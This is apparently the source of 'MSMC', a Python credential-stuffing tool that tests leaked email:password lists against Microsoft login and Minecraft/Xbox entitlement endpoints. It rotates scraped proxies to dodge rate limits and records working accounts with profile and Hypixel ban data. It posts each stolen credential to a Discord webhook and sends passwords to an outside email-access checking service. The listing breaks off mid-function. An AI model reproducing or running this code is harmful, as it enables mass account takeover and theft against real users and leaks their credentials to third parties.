├── MSMC.py ├── README.md └── requirements.txt /MSMC.py: -------------------------------------------------------------------------------- 1 | import requests, re, readchar, os, time, threading, random, urllib3, configparser, json, concurrent.futures, traceback, warnings, uuid, socket, socks, sys 2 | from datetime import datetime, timezone 3 | from colorama import Fore 4 | from console import utils 5 | from tkinter import filedialog 6 | from urllib.parse import urlparse, parse_qs 7 | from io import StringIO 8 | 9 | #banchecking 10 | from minecraft.networking.connection import Connection 11 | from minecraft.authentication import AuthenticationToken, Profile 12 | from minecraft.networking.connection import Connection 13 | from minecraft.networking.packets import clientbound 14 | from minecraft.exceptions import LoginDisconnect 15 | 16 | logo = Fore.GREEN+''' 17 | ███▄ ▄███▓ ██████ ███▄ ▄███▓ ▄████▄ 18 | ▓██▒▀█▀ ██▒▒██ ▒ ▓██▒▀█▀ ██▒▒██▀ ▀█ 19 | ▓██ ▓██░░ ▓██▄ ▓██ ▓██░▒▓█ ▄ 20 | ▒██ ▒██ ▒ ██▒▒██ ▒██ ▒▓▓▄ ▄██▒ 21 | ▒██▒ ░██▒▒██████▒▒▒██▒ ░██▒▒ ▓███▀ ░ 22 | ░ ▒░ ░ ░▒ ▒▓▒ ▒ ░░ ▒░ ░ ░░ ░▒ ▒ ░ 23 | ░ ░ ░░ ░▒ ░ ░░ ░ ░ ░ ▒ 24 | ░ ░ ░ ░ ░ ░ ░ ░ 25 | ░ ░ ░ ░ ░ 26 | ░ \n''' 27 | sFTTag_url = "https://login.live.com/oauth20_authorize.srf?client_id=00000000402B5328&redirect_uri=https://login.live.com/oauth20_desktop.srf&scope=service::user.auth.xboxlive.com::MBI_SSL&display=touch&response_type=token&locale=en" 28 | Combos = [] 29 | proxylist = [] 30 | banproxies = [] 31 | fname = "" 32 | hits,bad,twofa,cpm,cpm1,errors,retries,checked,vm,sfa,mfa,maxretries,xgp,xgpu,other = 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 33 | urllib3.disable_warnings() #spams warnings because i send unverified requests for debugging purposes 34 | warnings.filterwarnings("ignore") #spams python warnings on some functions, i may be using some outdated things... 35 | #sys.stderr = open(os.devnull, 'w') #bancheck prints errors in cmd 36 | 37 | class Config: 38 | def __init__(self): 39 | self.data = {} 40 | 41 | def set(self, key, value): 42 | self.data[key] = value 43 | 44 | def get(self, key): 45 | return self.data.get(key) 46 | 47 | config = Config() 48 | 49 | class Capture: 50 | def __init__(self, email, password, name, capes, uuid, token, type): 51 | self.email = email 52 | self.password = password 53 | self.name = name 54 | self.capes = capes 55 | self.uuid = uuid 56 | self.token = token 57 | self.type = type 58 | self.hypixl = None 59 | self.level = None 60 | self.firstlogin = None 61 | self.lastlogin = None 62 | self.cape = None 63 | self.access = None 64 | self.sbcoins = None 65 | self.bwstars = None 66 | self.banned = None 67 | self.namechanged = None 68 | self.lastchanged = None 69 | 70 | def builder(self): 71 | message = f"Email: {self.email}\nPassword: {self.password}\nName: {self.name}\nCapes: {self.capes}\nAccount Type: {self.type}" 72 | if self.hypixl != None: message+=f"\nHypixel: {self.hypixl}" 73 | if self.level != None: message+=f"\nHypixel Level: {self.level}" 74 | if self.firstlogin != None: message+=f"\nFirst Hypixel Login: {self.firstlogin}" 75 | if self.lastlogin != None: message+=f"\nLast Hypixel Login: {self.lastlogin}" 76 | if self.cape != None: message+=f"\nOptifine Cape: {self.cape}" 77 | if self.access != None: message+=f"\nEmail Access: {self.access}" 78 | if self.sbcoins != None: message+=f"\nHypixel Skyblock Coins: {self.sbcoins}" 79 | if self.bwstars != None: message+=f"\nHypixel Bedwars Stars: {self.bwstars}" 80 | if config.get('hypixelban') is True: message+=f"\nHypixel Banned: {self.banned or 'Unknown'}" 81 | if self.namechanged != None: message+=f"\nCan Change Name: {self.namechanged}" 82 | if self.lastchanged != None: message+=f"\nLast Name Change: {self.lastchanged}" 83 | return message+"\n============================\n" 84 | 85 | def notify(self): 86 | global errors 87 | try: 88 | payload = { 89 | "content": config.get('message') 90 | .replace("", self.email) 91 | .replace("", self.password) 92 | .replace("", self.name or "N/A") 93 | .replace("", self.hypixl or "N/A") 94 | .replace("", self.level or "N/A") 95 | .replace("", self.firstlogin or "N/A") 96 | .replace("", self.lastlogin or "N/A") 97 | .replace("", self.cape or "N/A") 98 | .replace("", self.capes or "N/A") 99 | .replace("", self.access or "N/A") 100 | .replace("", self.sbcoins or "N/A") 101 | .replace("", self.bwstars or "N/A") 102 | .replace("", self.banned or "Unknown") 103 | .replace("", self.namechanged or "N/A") 104 | .replace("", self.lastchanged or "N/A") 105 | .replace("", self.type or "N/A"), 106 | "username": "MSMC" 107 | } 108 | requests.post(config.get('webhook'), data=json.dumps(payload), headers={"Content-Type": "application/json"}) 109 | except: pass 110 | 111 | def hypixel(self): 112 | global errors 113 | try: 114 | if config.get('hypixelname') is True or config.get('hypixellevel') is True or config.get('hypixelfirstlogin') is True or config.get('hypixellastlogin') is True or config.get('hypixelbwstars') is True: 115 | tx = requests.get('https://plancke.io/hypixel/player/stats/'+self.name, proxies=getproxy(), headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0'}, verify=False).text 116 | try: 117 | if config.get('hypixelname') is True: self.hypixl = re.search('(?<=content=\"Plancke\" /> ).+?(?=
)', tx).group() 121 | except: pass 122 | try: 123 | if config.get('hypixelfirstlogin') is True: self.firstlogin = re.search('(?<=First login: ).+?(?=
)', tx).group() 124 | except: pass 125 | try: 126 | if config.get('hypixellastlogin') is True: self.lastlogin = re.search('(?<=Last login: ).+?(?=
)', tx).group() 127 | except: pass 128 | try: 129 | if config.get('hypixelbwstars') is True: self.bwstars = re.search('(?<=
  • Level: ).+?(?=
  • )', tx).group() 130 | except: pass 131 | if config.get('hypixelsbcoins') is True: 132 | try: 133 | req = requests.get("https://sky.shiiyu.moe/stats/"+self.name, proxies=getproxy(), verify=False) #didnt use the api here because this is faster ¯\_(ツ)_/¯ 134 | self.sbcoins = re.search('(?<= Networth: ).+?(?=\n)', req.text).group() 135 | except: pass 136 | except: errors+=1 137 | 138 | def optifine(self): 139 | if config.get('optifinecape') is True: 140 | try: 141 | txt = requests.get(f'http://s.optifine.net/capes/{self.name}.png', proxies=getproxy(), verify=False).text 142 | if "Not found" in txt: self.cape = "No" 143 | else: self.cape = "Yes" 144 | except: self.cape = "Unknown" 145 | 146 | def full_access(self): 147 | global mfa, sfa 148 | if config.get('access') is True: 149 | try: 150 | out = json.loads(requests.get(f"https://email.avine.tools/check?email={self.email}&password={self.password}", verify=False).text) #my mailaccess checking api pls dont rape or it will go offline prob (weak hosting) 151 | if out["Success"] == 1: 152 | self.access = "True" 153 | mfa+=1 154 | open(f"results/{fname}/MFA.txt", 'a').write(f"{self.email}:{self.password}\n") 155 | else: 156 | sfa+=1 157 | self.access = "False" 158 | open(f"results/{fname}/SFA.txt", 'a').write(f"{self.email}:{self.password}\n") 159 | except: self.access = "Unknown" 160 | 161 | def namechange(self): 162 | if config.get('namechange') is True or config.get('lastchanged') is True: 163 | tries = 0 164 | while tries < maxretries: 165 | try: 166 | check = requests.get('https://api.minecraftservices.com/minecraft/profile/namechange', headers={'Authorization': f'Bearer {self.token}'}, proxies=getproxy(), verify=False) 167 | if check.status_code == 200: 168 | try: 169 | data = check.json() 170 | if config.get('namechange') is True: 171 | self.namechanged = str(data.get('nameChangeAllowed', 'N/A')) 172 | if config.get('lastchanged') is True: 173 | created_at = data.get('createdAt') 174 | if created_at: 175 | try: 176 | given_date = datetime.strptime(created_at, "%Y-%m-%dT%H:%M:%S.%fZ") 177 | except ValueError: 178 | given_date = datetime.strptime(created_at, "%Y-%m-%dT%H:%M:%SZ") 179 | given_date = given_date.replace(tzinfo=timezone.utc) 180 | formatted = given_date.strftime("%m/%d/%Y") 181 | current_date = datetime.now(timezone.utc) 182 | difference = current_date - given_date 183 | years = difference.days // 365 184 | months = (difference.days % 365) // 30 185 | days = difference.days 186 | 187 | if years > 0: 188 | self.lastchanged = f"{years} {'year' if years == 1 else 'years'} - {formatted} - {created_at}" 189 | elif months > 0: 190 | self.lastchanged = f"{months} {'month' if months == 1 else 'months'} - {formatted} - {created_at}" 191 | else: 192 | self.lastchanged = f"{days} {'day' if days == 1 else 'days'} - {formatted} - {created_at}" 193 | break 194 | except: pass 195 | if check.status_code == 429: 196 | if len(proxylist) < 5: time.sleep(20) 197 | Capture.namechange(self) 198 | except: pass 199 | tries+=1 200 | retries+=1 201 | 202 | def ban(self): 203 | global errors 204 | if config.get('hypixelban') is True: 205 | auth_token = AuthenticationToken(username=self.name, access_token=self.token, client_token=uuid.uuid4().hex) 206 | auth_token.profile = Profile(id_=self.uuid, name=self.name) 207 | tries = 0 208 | while tries < maxretries: 209 | connection = Connection("alpha.hypixel.net", 25565, auth_token=auth_token, initial_version=47, allowed_versions={"1.8", 47}) 210 | @connection.listener(clientbound.login.DisconnectPacket, early=True) 211 | def login_disconnect(packet): 212 | data = json.loads(str(packet.json_data)) 213 | if "Suspicious activity" in str(data): 214 | self.banned = f"[Permanently] Suspicious activity has been detected on your account. Ban ID: {data['extra'][6]['text'].strip()}" 215 | with open(f"results/{fname}/Banned.txt", 'a') as f: f.write(f"{self.email}:{self.password}\n") 216 | elif "temporarily banned" in str(data): 217 | self.banned = f"[{data['extra'][1]['text']}] {data['extra'][4]['text'].strip()} Ban ID: {data['extra'][8]['text'].strip()}" 218 | with open(f"results/{fname}/Banned.txt", 'a') as f: f.write(f"{self.email}:{self.password}\n") 219 | elif "You are permanently banned from this server!" in str(data): 220 | self.banned = f"[Permanently] {data['extra'][2]['text'].strip()} Ban ID: {data['extra'][6]['text'].strip()}" 221 | with open(f"results/{fname}/Banned.txt", 'a') as f: f.write(f"{self.email}:{self.password}\n") 222 | elif "The Hypixel Alpha server is currently closed!" in str(data): 223 | self.banned = "False" 224 | with open(f"results/{fname}/Unbanned.txt", 'a') as f: f.write(f"{self.email}:{self.password}\n") 225 | elif "Failed cloning your SkyBlock data" in str(data): 226 | self.banned = "False" 227 | with open(f"results/{fname}/Unbanned.txt", 'a') as f: f.write(f"{self.email}:{self.password}\n") 228 | else: 229 | self.banned = ''.join(item["text"] for item in data["extra"]) 230 | with open(f"results/{fname}/Banned.txt", 'a') as f: f.write(f"{self.email}:{self.password}\n") 231 | @connection.listener(clientbound.play.JoinGamePacket, early=True) 232 | def joined_server(packet): 233 | if self.banned == None: 234 | self.banned = "False" 235 | with open(f"results/{fname}/Unbanned.txt", 'a') as f: f.write(f"{self.email}:{self.password}\n") 236 | try: 237 | if len(banproxies) > 0: 238 | proxy = random.choice(banproxies) 239 | if '@' in proxy: 240 | atsplit = proxy.split('@') 241 | socks.set_default_proxy(socks.SOCKS5, addr=atsplit[1].split(':')[0], port=int(atsplit[1].split(':')[1]), username=atsplit[0].split(':')[0], password=atsplit[0].split(':')[1]) 242 | else: 243 | ip_port = proxy.split(':') 244 | socks.set_default_proxy(socks.SOCKS5, addr=ip_port[0], port=int(ip_port[1])) 245 | socket.socket = socks.socksocket 246 | original_stderr = sys.stderr 247 | sys.stderr = StringIO() 248 | try: 249 | connection.connect() 250 | c = 0 251 | while self.banned == None or c < 1000: 252 | time.sleep(.01) 253 | c+=1 254 | connection.disconnect() 255 | except: pass 256 | sys.stderr = original_stderr 257 | except: pass 258 | if self.banned != None: break 259 | tries+=1 260 | 261 | def handle(self): 262 | global hits 263 | hits+=1 264 | if screen == "'2'": print(Fore.GREEN+f"Hit: {self.name} | {self.email}:{self.password}") 265 | with open(f"results/{fname}/Hits.txt", 'a') as file: file.write(f"{self.email}:{self.password}\n") 266 | if self.name != 'N/A': 267 | try: Capture.hypixel(self) 268 | except: pass 269 | try: Capture.optifine(self) 270 | except: pass 271 | try: Capture.full_access(self) 272 | except: pass 273 | try: Capture.namechange(self) 274 | except: pass 275 | try: Capture.ban(self) 276 | except: pass 277 | open(f"results/{fname}/Capture.txt", 'a').write(Capture.builder(self)) 278 | Capture.notify(self) 279 | class Login: 280 | def __init__(self, email, password): 281 | self.email = email 282 | self.password = password 283 | 284 | def get_urlPost_sFTTag(session): 285 | global retries 286 | while True: #will retry forever until it gets a working request/url. 287 | try: 288 | r = session.get(sFTTag_url, timeout=15) 289 | text = r.text 290 | match = re.match(r'.*value="(.+?)".*', text, re.S) 291 | if match is not None: 292 | sFTTag = match.group(1) 293 | match = re.match(r".*urlPost:'(.+?)'.*", text, re.S) 294 | if match is not None: 295 | return match.group(1), sFTTag, session 296 | except: pass 297 | session.proxy = getproxy() 298 | retries+=1 299 | 300 | def get_xbox_rps(session, email, password, urlPost, sFTTag): 301 | global bad, checked, cpm, twofa, retries, checked 302 | tries = 0 303 | while tries < maxretries: 304 | try: 305 | data = {'login': email, 'loginfmt': email, 'passwd': password, 'PPFT': sFTTag} 306 | login_request = session.post(urlPost, data=data, headers={'Content-Type': 'application/x-www-form-urlencoded'}, allow_redirects=True, timeout=15) 307 | if '#' in login_request.url and login_request.url != sFTTag_url: 308 | token = parse_qs(urlparse(login_request.url).fragment).get('access_token', ["None"])[0] 309 | if token != "None": 310 | return token, session 311 | elif 'cancel?mkt=' in login_request.text: 312 | data = { 313 | 'ipt': re.search('(?<=\"ipt\" value=\").+?(?=\">)', login_request.text).group(), 314 | 'pprid': re.search('(?<=\"pprid\" value=\").+?(?=\">)', login_request.text).group(), 315 | 'uaid': re.search('(?<=\"uaid\" value=\").+?(?=\">)', login_request.text).group() 316 | } 317 | ret = session.post(re.search('(?<=id=\"fmHF\" action=\").+?(?=\" )', login_request.text).group(), data=data, allow_redirects=True) 318 | fin = session.get(re.search('(?<=\"recoveryCancel\":{\"returnUrl\":\").+?(?=\",)', ret.text).group(), allow_redirects=True) 319 | token = parse_qs(urlparse(fin.url).fragment).get('access_token', ["None"])[0] 320 | if token != "None": 321 | return token, session 322 | elif any(value in login_request.text for value in ["recover?mkt", "account.live.com/identity/confirm?mkt", "Email/Confirm?mkt", "/Abuse?mkt="]): 323 | twofa+=1 324 | checked+=1 325 | cpm+=1 326 | if screen == "'2'": print(Fore.MAGENTA+f"2FA: {email}:{password}") 327 | with open(f"results/{fname}/2fa.txt", 'a') as file: 328 | file.write(f"{email}:{password}\n") 329 | return "None", session 330 | elif any(value in login_request.text.lower() for value in ["password is incorrect", r"account doesn\'t exist.", "sign in to your microsoft account", "tried to sign in too many times with an incorrect account or password"]): 331 | bad+=1 332 | checked+=1 333 | cpm+=1 334 | if screen == "'2'": print(Fore.RED+f"Bad: {email}:{password}") 335 | return "None", session 336 | else: 337 | session.proxy = getproxy() 338 | retries+=1 339 | tries+=1 340 | except: 341 | session.proxy = getproxy() 342 | retries+=1 343 | tries+=1 344 | bad+=1 345 | checked+=1 346 | cpm+=1 347 | if screen == "'2'": print(Fore.RED+f"Bad: {email}:{password}") 348 | return "None", session 349 | 350 | def validmail(email, password): 351 | global vm, cpm, checked 352 | vm+=1 353 | cpm+=1 354 | checked+=1 355 | with open(f"results/{fname}/Valid_Mail.txt", 'a') as file: file.write(f"{email}:{password}\n") 356 | if screen == "'2'": print(Fore.LIGHTMAGENTA_EX+f"Valid Mail: {email}:{password}") 357 | 358 | def capture_mc(access_token, session, email, password, type): 359 | global retries 360 | while True: 361 | try: 362 | r = session.get('https://api.minecraftservices.com/minecraft/profile', headers={'Authorization': f'Bearer {access_token}'}, verify=False) 363 | if r.status_code == 200: 364 | capes = ", ".join([cape["alias"] for cape in r.json().get("capes", [])]) 365 | CAPTURE = Capture(email, password, r.json()['name'], capes, r.json()['id'], access_token, type) 366 | CAPTURE.handle() 367 | break 368 | elif r.status_code == 429: 369 | retries+=1 370 | session.proxy = getproxy() 371 | if len(proxylist) < 5: time.sleep(20) 372 | continue 373 | else: break 374 | except: 375 | retries+=1 376 | session.proxy = getproxy() 377 | continue 378 | 379 | def checkmc(session, email, password, token): 380 | global retries, bedrock, cpm, checked, xgp, xgpu, other 381 | while True: 382 | checkrq = session.get('https://api.minecraftservices.com/entitlements/mcstore', headers={'Authorization': f'Bearer {token}'}, verify=False) 383 | if checkrq.status_code == 200: 384 | if 'product_game_pass_ultimate' in checkrq.text: 385 | xgpu+=1 386 | cpm+=1 387 | checked+=1 388 | if screen == "'2'": print(Fore.LIGHTGREEN_EX+f"Xbox Game Pass Ultimate: {email}:{password}") 389 | with open(f"results/{fname}/XboxGamePassUltimate.txt", 'a') as f: f.write(f"{email}:{password}\n") 390 | try: capture_mc(token, session, email, password, "Xbox Game Pass Ultimate") 391 | except: 392 | CAPTURE = Capture(email, password, "N/A", "N/A", "N/A", "N/A", "Xbox Game Pass Ultimate [Unset MC]") 393 | CAPTURE.handle() 394 | return True 395 | elif 'product_game_pass_pc' in checkrq.text: 396 | xgp+=1 397 | cpm+=1 398 | checked+=1 399 | if screen == "'2'": print(Fore.LIGHTGREEN_EX+f"Xbox Game Pass: {email}:{password}") 400 | with open(f"results/{fname}/XboxGamePass.txt", 'a') as f: f.write(f"{email}:{password}\n") 401 | capture_mc(token, session, email, password, "Xbox Game Pass") 402 | return True 403 | elif '"product_minecraft"' in checkrq.text: 404 | checked+=1 405 | cpm+=1 406 | capture_mc(token, session, email, password, "Normal") 407 | return True 408 | else: 409 | others = [] 410 | if 'product_minecraft_bedrock' in checkrq.text: 411 | others.append("Minecraft Bedrock") 412 | if 'product_legends' in checkrq.text: 413 | others.append("Minecraft Legends") 414 | if 'product_dungeons' in checkrq.text: 415 | others.append('Minecraft Dungeons') 416 | if others != []: 417 | other+=1 418 | cpm+=1 419 | checked+=1 420 | items = ', '.join(others) 421 | open(f"results/{fname}/Other.txt", 'a').write(f"{email}:{password} | {items}\n") 422 | if screen == "'2'": print(Fore.YELLOW+f"Other: {email}:{password} | {items}") 423 | return True 424 | else: 425 | return False 426 | elif checkrq.status_code == 429: 427 | retries+=1 428 | session.proxy = getproxy() 429 | if len(proxylist) < 1: time.sleep(20) 430 | continue 431 | else: 432 | return False 433 | 434 | def mc_token(session, uhs, xsts_token): 435 | global retries 436 | while True: 437 | try: 438 | mc_login = session.post('https://api.minecraftservices.com/authentication/login_with_xbox', json={'identityToken': f"XBL3.0 x={uhs};{xsts_token}"}, headers={'Content-Type': 'application/json'}, timeout=15) 439 | if mc_login.status_code == 429: 440 | session.proxy = getproxy() 441 | if len(proxylist) < 1: time.sleep(20) 442 | continue 443 | else: 444 | return mc_login.json().get('access_token') 445 | except: 446 | retries+=1 447 | session.proxy = getproxy() 448 | continue 449 | 450 | def authenticate(email, password, tries = 0): 451 | global retries, bad, checked, cpm 452 | try: 453 | session = requests.Session() 454 | session.verify = False 455 | session.proxies = getproxy() 456 | urlPost, sFTTag, session = get_urlPost_sFTTag(session) 457 | token, session = get_xbox_rps(session, email, password, urlPost, sFTTag) 458 | if token != "None": 459 | hit = False 460 | try: 461 | xbox_login = session.post('https://user.auth.xboxlive.com/user/authenticate', json={"Properties": {"AuthMethod": "RPS", "SiteName": "user.auth.xboxlive.com", "RpsTicket": token}, "RelyingParty": "http://auth.xboxlive.com", "TokenType": "JWT"}, headers={'Content-Type': 'application/json', 'Accept': 'application/json'}, timeout=15) 462 | js = xbox_login.json() 463 | xbox_token = js.get('Token') 464 | if xbox_token != None: 465 | uhs = js['DisplayClaims']['xui'][0]['uhs'] 466 | xsts = session.post('https://xsts.auth.xboxlive.com/xsts/authorize', json={"Properties": {"SandboxId": "RETAIL", "UserTokens": [xbox_token]}, "RelyingParty": "rp://api.minecraftservices.com/", "TokenType": "JWT"}, headers={'Content-Type': 'application/json', 'Accept': 'application/json'}, timeout=15) 467 | js = xsts.json() 468 | xsts_token = js.get('Token') 469 | if xsts_token != None: 470 | access_token = mc_token(session, uhs, xsts_token) 471 | if access_token != None: 472 | hit = checkmc(session, email, password, access_token) 473 | except: pass 474 | if hit == False: validmail(email, password) 475 | except: 476 | if tries < maxretries: 477 | tries+=1 478 | retries+=1 479 | authenticate(email, password, tries) 480 | else: 481 | bad+=1 482 | checked+=1 483 | cpm+=1 484 | if screen == "'2'": print(Fore.RED+f"Bad: {email}:{password}") 485 | finally: 486 | session.close() 487 | 488 | def Load(): 489 | global Combos, fname 490 | filename = filedialog.askopenfile(mode='rb', title='Choose a Combo file',filetype=(("txt", "*.txt"), ("All files", "*.txt"))) 491 | if filename is None: 492 | print(Fore.LIGHTRED_EX+"Invalid File.") 493 | time.sleep(2) 494 | Load() 495 | else: 496 | fname = os.path.splitext(os.path.basename(filename.name))[0] 497 | try: 498 | with open(filename.name, 'r+', encoding='utf-8') as e: 499 | lines = e.readlines() 500 | Combos = list(set(lines)) 501 | print(Fore.LIGHTBLUE_EX+f"[{str(len(lines) - len(Combos))}] Dupes Removed.") 502 | print(Fore.LIGHTBLUE_EX+f"[{len(Combos)}] Combos Loaded.") 503 | except: 504 | print(Fore.LIGHTRED_EX+"Your file is probably harmed.") 505 | time.sleep(2) 506 | Load() 507 | 508 | def Proxys(): 509 | global proxylist 510 | fileNameProxy = filedialog.askopenfile(mode='rb', title='Choose a Proxy file',filetype=(("txt", "*.txt"), ("All files", "*.txt"))) 511 | if fileNameProxy is None: 512 | print(Fore.LIGHTRED_EX+"Invalid File.") 513 | time.sleep(2) 514 | Proxys() 515 | else: 516 | try: 517 | with open(fileNameProxy.name, 'r+', encoding='utf-8', errors='ignore') as e: 518 | ext = e.readlines() 519 | for line in ext: 520 | try: 521 | proxyline = line.split()[0].replace('\n', '') 522 | proxylist.append(proxyline) 523 | except: pass 524 | print(Fore.LIGHTBLUE_EX+f"Loaded [{len(proxylist)}] lines.") 525 | time.sleep(2) 526 | except Exception: 527 | print(Fore.LIGHTRED_EX+"Your file is probably harmed.") 528 | time.sleep(2) 529 | Proxys() 530 | 531 | def logscreen(): 532 | global cpm, cpm1 533 | cmp1 = cpm 534 | cpm = 0 535 | utils.set_title(f"MSMC by KillinMachine | Checked: {checked}\{len(Combos)} - Hits: {hits} - Bad: {bad} - 2FA: {twofa} - SFA: {sfa} - MFA: {mfa} - Xbox Game Pass: {xgp} - Xbox Game Pass Ultimate: {xgpu} - Valid Mail: {vm} - Other: {other} - Cpm: {cmp1*60} - Retries: {retries} - Errors: {errors}") 536 | time.sleep(1) 537 | threading.Thread(target=logscreen).start() 538 | 539 | def cuiscreen(): 540 | global cpm, cpm1 541 | os.system('cls') 542 | cmp1 = cpm 543 | cpm = 0 544 | print(logo) 545 | print(f" [{checked}\{len(Combos)}] Checked") 546 | print(f" [{hits}] Hits") 547 | print(f" [{bad}] Bad") 548 | print(f" [{sfa}] SFA") 549 | print(f" [{mfa}] MFA") 550 | print(f" [{twofa}] 2FA") 551 | print(f" [{xgp}] Xbox Game Pass") 552 | print(f" [{xgpu}] Xbox Game Pass Ultimate") 553 | print(f" [{other}] Other") 554 | print(f" [{vm}] Valid Mail") 555 | print(f" [{retries}] Retries") 556 | print(f" [{errors}] Errors") 557 | utils.set_title(f"MSMC by KillinMachine | Checked: {checked}\{len(Combos)} - Hits: {hits} - Bad: {bad} - 2FA: {twofa} - SFA: {sfa} - MFA: {mfa} - Xbox Game Pass: {xgp} - Xbox Game Pass Ultimate: {xgpu} - Valid Mail: {vm} - Other: {other} - Cpm: {cmp1*60} - Retries: {retries} - Errors: {errors}") 558 | time.sleep(1) 559 | threading.Thread(target=cuiscreen).start() 560 | 561 | def finishedscreen(): 562 | #os.system('cls') 563 | print(logo) 564 | print() 565 | print(Fore.LIGHTGREEN_EX+"Finished Checking!") 566 | print() 567 | print("Hits: "+str(hits)) 568 | print("Bad: "+str(bad)) 569 | print("SFA: "+str(sfa)) 570 | print("MFA: "+str(mfa)) 571 | print("2FA: "+str(twofa)) 572 | print("Xbox Game Pass: "+str(xgp)) 573 | print("Xbox Game Pass Ultimate: "+str(xgpu)) 574 | print("Other: "+str(other)) 575 | print("Valid Mail: "+str(vm)) 576 | print(Fore.LIGHTRED_EX+"Press any key to exit.") 577 | repr(readchar.readkey()) 578 | os.abort() 579 | 580 | def getproxy(): 581 | if proxytype == "'5'": return random.choice(proxylist) 582 | if proxytype != "'4'": 583 | proxy = random.choice(proxylist) 584 | if proxytype == "'1'": return {'http': 'http://'+proxy, 'https': 'http://'+proxy} 585 | elif proxytype == "'2'": return {'http': 'socks4://'+proxy,'https': 'socks4://'+proxy} 586 | elif proxytype == "'3'" or proxytype == "'4'": return {'http': 'socks5://'+proxy,'https': 'socks5://'+proxy} 587 | else: return None 588 | 589 | def Checker(combo): 590 | global bad, checked, cpm 591 | try: 592 | email, password = combo.strip().replace(' ', '').split(":") 593 | if email != "" and password != "": 594 | authenticate(str(email), str(password)) 595 | else: 596 | if screen == "'2'": print(Fore.RED+f"Bad: {combo.strip()}") 597 | bad+=1 598 | cpm+=1 599 | checked+=1 600 | except: 601 | if screen == "'2'": print(Fore.RED+f"Bad: {combo.strip()}") 602 | bad+=1 603 | cpm+=1 604 | checked+=1 605 | 606 | def loadconfig(): 607 | global maxretries, config 608 | def str_to_bool(value): 609 | return value.lower() in ('yes', 'true', 't', '1') 610 | if not os.path.isfile("config.ini"): 611 | c = configparser.ConfigParser(allow_no_value=True) 612 | c['Settings'] = { 613 | 'Webhook': 'paste your discord webhook here', 614 | 'Max Retries': 5, 615 | 'Proxyless Ban Check': False, 616 | 'WebhookMessage': '''@everyone HIT: ||`:`|| 617 | Name: 618 | Account Type: 619 | Hypixel: 620 | Hypixel Level: 621 | First Hypixel Login: 622 | Last Hypixel Login: 623 | Optifine Cape: 624 | MC Capes: 625 | Email Access: 626 | Hypixel Skyblock Coins: 627 | Hypixel Bedwars Stars: 628 | Banned: 629 | Can Change Name: 630 | Last Name Change: '''} 631 | c['Scraper'] = { 632 | 'Auto Scrape Minutes': 5 633 | } 634 | c['Captures'] = { 635 | 'Hypixel Name': True, 636 | 'Hypixel Level': True, 637 | 'First Hypixel Login': True, 638 | 'Last Hypixel Login': True, 639 | 'Optifine Cape': True, 640 | 'Minecraft Capes': True, 641 | 'Email Access': True, 642 | 'Hypixel Skyblock Coins': True, 643 | 'Hypixel Bedwars Stars': True, 644 | 'Hypixel Ban': True, 645 | 'Name Change Availability': True, 646 | 'Last Name Change': True 647 | } 648 | with open('config.ini', 'w') as configfile: 649 | c.write(configfile) 650 | read_config = configparser.ConfigParser() 651 | read_config.read('config.ini') 652 | maxretries = int(read_config['Settings']['Max Retries']) 653 | config.set('webhook', str(read_config['Settings']['Webhook'])) 654 | config.set('message', str(read_config['Settings']['WebhookMessage'])) 655 | config.set('proxylessban', str_to_bool(read_config['Settings']['Proxyless Ban Check'])) 656 | config.set('autoscrape', int(read_config['Scraper']['Auto Scrape Minutes'])) 657 | config.set('hypixelname', str_to_bool(read_config['Captures']['Hypixel Name'])) 658 | config.set('hypixellevel', str_to_bool(read_config['Captures']['Hypixel Level'])) 659 | config.set('hypixelfirstlogin', str_to_bool(read_config['Captures']['First Hypixel Login'])) 660 | config.set('hypixellastlogin', str_to_bool(read_config['Captures']['Last Hypixel Login'])) 661 | config.set('optifinecape', str_to_bool(read_config['Captures']['Optifine Cape'])) 662 | config.set('mcapes', str_to_bool(read_config['Captures']['Minecraft Capes'])) 663 | config.set('access', str_to_bool(read_config['Captures']['Email Access'])) 664 | config.set('hypixelsbcoins', str_to_bool(read_config['Captures']['Hypixel Skyblock Coins'])) 665 | config.set('hypixelbwstars', str_to_bool(read_config['Captures']['Hypixel Bedwars Stars'])) 666 | config.set('hypixelban', str_to_bool(read_config['Captures']['Hypixel Ban'])) 667 | config.set('namechange', str_to_bool(read_config['Captures']['Name Change Availability'])) 668 | config.set('lastchanged', str_to_bool(read_config['Captures']['Last Name Change'])) 669 | 670 | def get_proxies(): 671 | global proxylist 672 | http = [] 673 | socks4 = [] 674 | socks5 = [] 675 | api_http = [ 676 | "https://api.proxyscrape.com/v3/free-proxy-list/get?request=getproxies&protocol=http&timeout=15000&proxy_format=ipport&format=text", 677 | "https://raw.githubusercontent.com/prxchk/proxy-list/main/http.txt" #JUST SO YOU KNOW YOU CANNOT PUT ANY PAGE WITH PROXIES HERE UNLESS ITS JUST PROXIES ON THE PAGE, TO SEE WHAT I MEAN VISIT THE WEBSITES 678 | ] 679 | api_socks4 = [ 680 | "https://api.proxyscrape.com/v3/free-proxy-list/get?request=getproxies&protocol=socks4&timeout=15000&proxy_format=ipport&format=text", 681 | "https://raw.githubusercontent.com/prxchk/proxy-list/main/socks4.txt" #JUST SO YOU KNOW YOU CANNOT PUT ANY PAGE WITH PROXIES HERE UNLESS ITS JUST PROXIES ON THE PAGE, TO SEE WHAT I MEAN VISIT THE WEBSITES 682 | ] 683 | api_socks5 = [ 684 | "https://api.proxyscrape.com/v3/free-proxy-list/get?request=getproxies&protocol=socks5&timeout=15000&proxy_format=ipport&format=text", 685 | "https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt", 686 | "https://raw.githubusercontent.com/prxchk/proxy-list/main/socks5.txt" #JUST SO YOU KNOW YOU CANNOT PUT ANY PAGE WITH PROXIES HERE UNLESS ITS JUST PROXIES ON THE PAGE, TO SEE WHAT I MEAN VISIT THE WEBSITES 687 | ] 688 | for service in api_http: 689 | http.extend(requests.get(service).text.splitlines()) 690 | for service in api_socks4: 691 | socks4.extend(requests.get(service).text.splitlines()) 692 | for service in api_socks5: 693 | socks5.extend(requests.get(service).text.splitlines()) 694 | try: 695 | for dta in requests.get("https://proxylist.geonode.com/api/proxy-list?protocols=socks4&limit=500").json().get('data'): 696 | socks4.append(f"{dta.get('ip')}:{dta.get('port')}") 697 | except: pass 698 | try: 699 | for dta in requests.get("https://proxylist.geonode.com/api/proxy-list?protocols=socks5&limit=500").json().get('data'): 700 | socks5.append(f"{dta.get('ip')}:{dta.get('port')}") 701 | except: pass 702 | http = list(set(http)) 703 | socks4 = 